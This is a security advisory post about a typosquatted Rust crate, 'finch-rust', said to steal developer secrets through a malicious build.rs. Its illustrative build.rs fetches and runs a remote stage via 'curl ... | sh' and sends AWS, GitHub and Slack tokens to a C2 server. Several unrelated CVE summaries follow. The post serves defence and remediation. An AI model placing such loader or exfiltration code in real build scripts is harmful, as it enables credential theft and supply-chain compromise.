Feb 7, 2026·6 min read·53 visits
A malicious Rust crate named 'finch-rust' was published to crates.io, executing a malware loader during compilation. Part of the 'Shai-Hulud' campaign, it steals developer secrets (AWS, SSH, Env Vars) immediately upon running 'cargo build'.
In the ongoing saga of supply chain warfare, the Rust ecosystem—often lauded for its memory safety—has been reminded that the borrow checker cannot save you from social engineering. The 'finch-rust' crate, a malicious package mimicking a legitimate library, was found acting as a loader for the 'Shai-Hulud' malware campaign. Designed to execute arbitrary code during the build process via 'build.rs', this package serves as a stark reminder that 'cargo build' is effectively remote code execution.
Rust developers love to brag about safety. "It compiles, so it works," they say. "Memory leaks are a thing of the past," they chant. But while the compiler is busy meticulously checking lifetimes and borrowing rules, the supply chain is busy burning the house down around it. The finch-rust incident is a perfect example of why memory safety is irrelevant when you invite a vampire into your living room.
This wasn't a sophisticated buffer overflow or a complex race condition. It was a classic typosquatting attack targeting the legitimate finch library. The attackers bet on a simple premise: developers are lazy, and they type fast. By uploading a package named finch-rust, they targeted anyone who might misremember the package name or naively assume the suffix -rust implies an official port.
Once added to your dependency tree, finch-rust didn't need you to import its modules or call its functions. It didn't wait for runtime. It struck during the one phase every developer trusts implicitly: the build.
The "flaw" here isn't a bug in Rust; it's a feature. Rust's package manager, Cargo, allows packages to include a build.rs file—a build script that compiles and executes before the main package is built. This is intended for legitimate tasks like compiling C dependencies or generating code. However, for malware authors, build.rs is the Holy Grail: Arbitrary Code Execution (ACE) that triggers automatically.
The finch-rust crate utilized this mechanism to act as a loader. It wasn't just a passive library; it was an active combatant. The moment a victim ran cargo build, cargo test, or even just cargo check (depending on how the IDE handles indexing), the malicious script executed with the full privileges of the user.
This specific instance is tied to the Shai-Hulud campaign (a nod to the sandworms of Dune), a sophisticated operation known for deploying self-replicating worms across the npm and PyPI ecosystems. Now, they've ported their toolkit to Rust. The malware doesn't just sit there; it profiles the system, identifies it as a developer workstation or a CI/CD runner, and prepares to harvest the crop.
While the specific obfuscated payload varies per campaign iteration, the architecture of a build.rs attack is depressingly simple. A legitimate build script might look for a C library. The malicious finch-rust script looks more like a data vacuum.
Here is a reconstruction of the attack flow based on the campaign's known behavior:
// build.rs - The Trojan Horse
use std::process::Command;
use std::env;
fn main() {
// 1. Legitimate-looking camouflage
// (Usually some innocuous code generation to fool basic linters)
println!("cargo:rerun-if-changed=src/proto.rs");
// 2. The Payload Execution
// In reality, this is often heavily obfuscated or pulls a second stage
// from a remote URL to avoid static analysis detection.
#[cfg(target_os = "linux")]
{
// Example of the behavior:
// curl -s http://malicious-c2.xyz/payload | sh
let _ = Command::new("sh")
.arg("-c")
.arg("curl -s http://192.168.x.x/stage2 | sh")
.output();
}
// 3. Environment Variable Theft
// The malware iterates over sensitive env vars commonly found in CI/CD
let keys = vec!["AWS_ACCESS_KEY_ID", "GITHUB_TOKEN", "SLACK_BOT_TOKEN"];
for key in keys {
if let Ok(val) = env::var(key) {
// Exfiltrate to C2
send_to_c2(key, val);
}
}
}The actual finch-rust crate likely employed higher levels of obfuscation, encoding the payload strings or hiding them within binary data blobs included in the crate. The goal is to bypass automated scanners that grep for curl, wget, or socket calls. By the time the developer realizes the build is taking a few seconds longer than usual, the credentials have already been POSTed to an external server.
Let's walk through the attack chain. It relies entirely on social engineering and the default trust model of modern package managers.
A developer needs the finch library. Maybe they are tired, maybe they are new to Rust. They type:
cargo add finch-rust
Cargo resolves the dependency, downloads the crate from crates.io, and updates Cargo.lock. The developer sees the green text and feels productive.
The developer runs cargo run. Before the main application compiles, Cargo identifies that finch-rust has a build script. It compiles build.rs into an executable and runs it on the host machine.
The malware immediately scans ~/.aws/credentials, ~/.ssh/id_rsa, and scrapes process environment variables. It packages this loot and pushes it to a C2 server controlled by the Shai-Hulud operators. If running in a CI environment (detected via env vars like CI=true or GITHUB_ACTIONS), it may attempt to inject itself into build artifacts to propagate further downstream.
The severity here is absolute. If this crate ran on your machine, you must assume Total Compromise. This is not a denial of service; this is an identity theft kit.
Developer Workstations: The attackers now have your AWS keys, your company VPN certificates, your private SSH keys to GitHub, and potentially your GPG signing keys. They can commit code as you, access production infrastructure as you, and pivot into the corporate network.
CI/CD Pipelines: If finch-rust made it into a pipeline, the damage is magnified. CI runners often hold high-privileged deployment secrets. The malware can steal these secrets to deploy malicious versions of your actual software to production, effectively poisoning the well for all your users. The Shai-Hulud campaign is specifically designed for this kind of lateral movement and persistence.
There is no "patching" this. The crate is malware. The only fix is removal and remediation.
finch-rust from your Cargo.toml and delete your Cargo.lock to ensure no transitive dependencies remain.cargo build with this crate present, every credential on that machine is burned. Rotate AWS keys, revoke GitHub tokens, generate new SSH keys, and invalidate any API keys present in your .env files.build.rs of suspicious dependencies before adding them.CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
finch-rust Malicious Actor | All Versions | N/A (Removed) |
| Attribute | Detail |
|---|---|
| Attack Vector | Supply Chain / Typosquatting |
| CVSS | 10.0 (Critical) |
| Impact | Data Exfiltration / Arbitrary Code Execution |
| Component | build.rs (Cargo Build Script) |
| Campaign | Shai-Hulud 2.0 |
| Status | Malware / Active Exploitation |
The product downloads, installs, or updates code from a third-party provider, but it does not sufficiently verify the origin or integrity of the code.
A directory traversal vulnerability exists in the Junrar archive extraction library prior to version 7.6.1. When extracting crafted RAR archives, the library allows unauthorized directory creation outside the designated destination root due to improper path normalization during directory creation.
CVE-2026-63506 is a critical authorization bypass vulnerability in TinaCMS self-hosted backend authentication packages (@tinacms/auth and next-tinacms-azure). By exploiting a request-controlled clientID parameter, unauthenticated attackers with an active token for any developer-registered TinaCloud application can bypass tenant boundaries and execute unauthorized administrative operations, including full GraphQL database interactions and arbitrary media management.
CVE-2026-85078 describes a critical request-boundary integrity vulnerability (HTTP Request Smuggling) in Sanic, an open-source high-performance Python web server and framework. The vulnerability exists within Sanic's core HTTP/1.1 chunked-body parser. Prior to the patched versions, when processing a chunked transfer-encoded request, Sanic's parser failed to fully consume or validate the trailer-part following the terminating zero-size chunk.
Prior to version 1.0.7, the djust Python package is vulnerable to Stored and Reflected Cross-Site Scripting (XSS) via component template tags. The underlying issue exists because the package fails to sanitize or validate incoming URI schemes when rendering URLs inside interactive HTML attributes like href or action. While the framework HTML-escapes strings to prevent attribute breakout, it permits the execution of arbitrary JavaScript via the javascript: pseudo-protocol.
A high-severity session hijacking and authorization bypass vulnerability has been identified in the djust framework prior to version 1.0.7. The flaw resides in the Server-Sent Events (SSE) transport implementation, which keyed sessions solely by client-provided session identifiers without verifying session ownership or binding. This allows an attacker who possesses or guesses a victim's session identifier to send malicious post messages to execute arbitrary state machine event handlers under the identity and permissions of the victim.
CVE-2026-61591 is a high-severity state injection and authorization bypass vulnerability affecting the djust framework's opt-in State Snapshot feature. Prior to version 1.0.7, the framework restored public view state snapshots returned from the client browser during back-navigation without validating their cryptographic authenticity or integrity. This flaw allows malicious clients to manipulate serialized JSON payloads to inject unauthorized properties, leading to mass assignment (CWE-915) and privilege escalation. Version 1.0.7 addresses this issue by introducing HMAC cryptographic signatures bound to both the view configuration and the user's session identifier.